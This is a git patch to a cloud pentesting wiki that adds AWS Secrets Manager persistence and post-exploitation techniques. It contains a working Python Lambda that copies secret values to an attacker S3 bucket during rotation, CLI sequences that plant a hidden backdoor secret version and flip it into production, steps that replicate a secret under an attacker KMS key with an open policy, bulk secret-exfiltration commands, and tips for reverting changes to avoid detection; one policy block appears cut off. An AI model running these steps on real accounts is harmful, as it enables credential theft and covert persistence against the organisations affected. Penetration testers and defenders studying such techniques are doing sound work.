From 0f213ea2dbdd12e4cde1558a6c2c803230136b7b Mon Sep 17 00:00:00 2001 From: carlospolop Date: Mon, 6 Oct 2025 11:53:33 +0200 Subject: [PATCH] aws secrets manager recheck --- .../aws-secrets-manager-persistence.md | 193 ++++++++++++++++++ .../aws-secrets-manager-post-exploitation.md | 48 +++++ ...ws-vpc-and-networking-basic-information.md | 10 - 3 files changed, 241 insertions(+), 10 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..182599f53 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -55,3 +55,196 @@ def generate_password(): + +### Swap the rotation Lambda to an attacker-controlled function via RotateSecret + +Abuse `secretsmanager:RotateSecret` to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP). + +- Requirements + - Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration. + - A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation. + +- Impact + - The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well. + +- Attack steps (CLI) + 1) Prepare attacker sink and Lambda role + - Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed). + 2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy. + 3) Rebind rotation and trigger + - `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` + 4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts. + 5) (Optional) Restore the original rotation Lambda to reduce detection. + +- Example attacker Lambda (Python) exfiltrating to S3 + - Environment: `EXFIL_BUCKET=` + - Handler: `lambda_function.lambda_handler` + +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): + s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): + sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] + # Exfil both stages best-effort + def getv(**kw): + try: + r = sm.get_secret_value(**kw) + return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} + except Exception as e: + return {'error': str(e)} + current = getv(SecretId=sid, VersionStage='AWSCURRENT') + pending = getv(SecretId=sid, VersionStage='AWSPENDING') + key = f"{sid.replace(':','_')}/{step}/{token}.json" + write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) + # Minimal rotation (optional): copy current->pending and promote in finishSecret + # (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` + +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config. + +- Requirements + - Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification) + - Target secret id in the Region. + +- Impact + - Maintain a hidden, attacker-controlled version of a secret and atomically flip `AWSCURRENT` to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise. + +- Attack steps (CLI) + - Preparation + - `export SECRET_ID=` + +
+CLI commands + +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ + --secret-id "$SECRET_ID" \ + --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ + --output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ + --secret-id "$SECRET_ID" \ + --client-request-token "$BACKTOK" \ + --secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ + --secret-id "$SECRET_ID" \ + --version-stage AWSCURRENT \ + --move-to-version-id "$CUR" \ + --remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ + --secret-id "$SECRET_ID" \ + --version-stage ATTACKER \ + --move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ + --secret-id "$SECRET_ID" \ + --version-stage AWSCURRENT \ + --move-to-version-id "$BACKTOK" \ + --remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ + --secret-id "$SECRET_ID" \ + --version-stage AWSCURRENT \ + --move-to-version-id "$CUR" \ + --remove-from-version-id "$BACKTOK" +``` + +
+ +- Notes + - When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary. + +- Requirements + - Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. + - In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`. + - An attacker principal (user/role) to receive read access to the promoted secret. + +- Impact + - Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched. + +- Attack (CLI) + - Vars + +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` + +1) Create attacker-controlled KMS key in replica Region + +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ + {"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ + --query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` + +2) Replicate the secret to R2 using the attacker KMS key + +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ + --add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` + +3) Promote the replica to standalone in R2 + +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` + +4) Attach permissive resource policy on the standalone secret in R2 + +```bash +cat > /tmp/replica_policy.json < [!WARNING] +> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ + --secret-id-list \ + --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` + +Exfiltrate by filters (tag key/value or name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ + --filters Key=tag-key,Values=env \ + --max-results 20 \ + --query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ + --filters Key=tag-value,Values=prod \ + --max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ + --filters Key=name,Values=MyApp +``` + +Handling partial failures +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` + +Impact +- Rapid “smash-and-grab” of many secrets with fewer API calls, potentially bypassing alerting tuned to spikes of GetSecretValue. +- CloudTrail logs still include one GetSecretValue event per secret retrieved by the batch. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..0b28d5336 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -36,10 +36,6 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi - **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. - It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** -
- -
- ### Route Tables Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: @@ -50,12 +46,6 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. - VPC endpoints (to access S3 from private networks) -In the following images you can check the differences in a default public network and a private one: - -
- -
- ### ACLs **Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.